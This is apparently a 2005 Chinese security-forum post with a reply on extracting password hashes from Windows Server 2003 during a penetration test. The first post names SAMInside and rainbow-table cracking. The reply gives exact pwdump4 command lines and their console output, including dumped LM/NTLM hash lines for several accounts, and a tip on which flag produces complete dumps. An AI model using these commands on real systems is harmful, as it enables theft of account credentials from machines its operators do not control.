Dump Hash From Windows 2003(图)

获取windows密码hash的两个方式post by baozi @ 28 九月, 2005 09:47 在给客户做渗透测试的时候，遇到一个win2k3机器，pwdump4读不出密码bash，lc5装上去一读的话LC5就挂掉，突然想到saminside这个东西，似乎记得他有两个读本地密码散列的方式的，一个是一般的通过LSASS读，还有一个就是通过shedule服务来读，还没去搜索后者什么原理，拿上去一试果然行，另存为pwdump文件回来用ranbowcrack跑，哈哈

国内似乎还没有利用shedule服务读密码的cmd程序吧，哪个大虾弄一个就好了，毕竟saminside图形的不方便。

其实以前我也遇到过读不出来密码hash的 w2k3 的机器,只不过你参数用错了 hieei

pwdump4 ip /o:fuckbaozi /u:administrator

用这种格式一般来说可以dump出hash来 ip 换成 127.0.0.1 :D

如果你用 /l 参数, 大部分是dump不出来的,即使dump出来,hash也是不全的.

C:/>pwdump4 127.0.0.1 /o:fuckbaozi /u:administrator

PWDUMP4.02 dump winnt/2000 user/password hash remote or local for crack.by bingle@email.com.cnThis program is free software based on pwpump3 by Phil Staubsunder the GNU General Public License Version 2.

Please enter the password >*******local path of //127.0.0.1/ADMIN$ is: C:/WINDOWSconnect to 127.0.0.1 for result, plz wait...SRV>Version: OS Ver 5.2, Service Pack 1, ServerTerminalLSA>Samr Enumerate 4 Users In Domain DREAM.All Completed.

C:/>type fuckbaoziAdministrator:500:A02F5A52E33540C0AAD3B435B514042E:00F0E9AB3FE77043C228DDB70E5C41A6:::Guest:501:AAD3B445B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::kaka:1004:9FFBED36199C0D0723WD3B83FA6627C7:E4CCAB020C323DC2411876AE032CD5FF:::SUPPORT_388945a0:1001:AAD3B435B51404EEAAD3B435B51404EE:3279F1AC07C5E7C197752437531BB8B3:::

C:/>pwdump4 /l /o:fuckbaozi /u:administrator

PWDUMP4.02 dump winnt/2000 user/password hash remote or local for crack.by bingle@email.com.cnThis program is free software based on pwpump3 by Phil Staubsunder the GNU General Public License Version 2.

SRV>Version: OS Ver 5.2, Service Pack 1, ServerTerminal

C:/>type fuckbaoziAdministrator:500:A02F5322E10540A0AA33B435B51404EE:00F0E9433FE62378C228D4370E5C41A6:::Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

C:/>

如此而已,用pwdump4 ip /o:file /u:user的方式,我还没有发现有不能dump出密码hash的2003系统.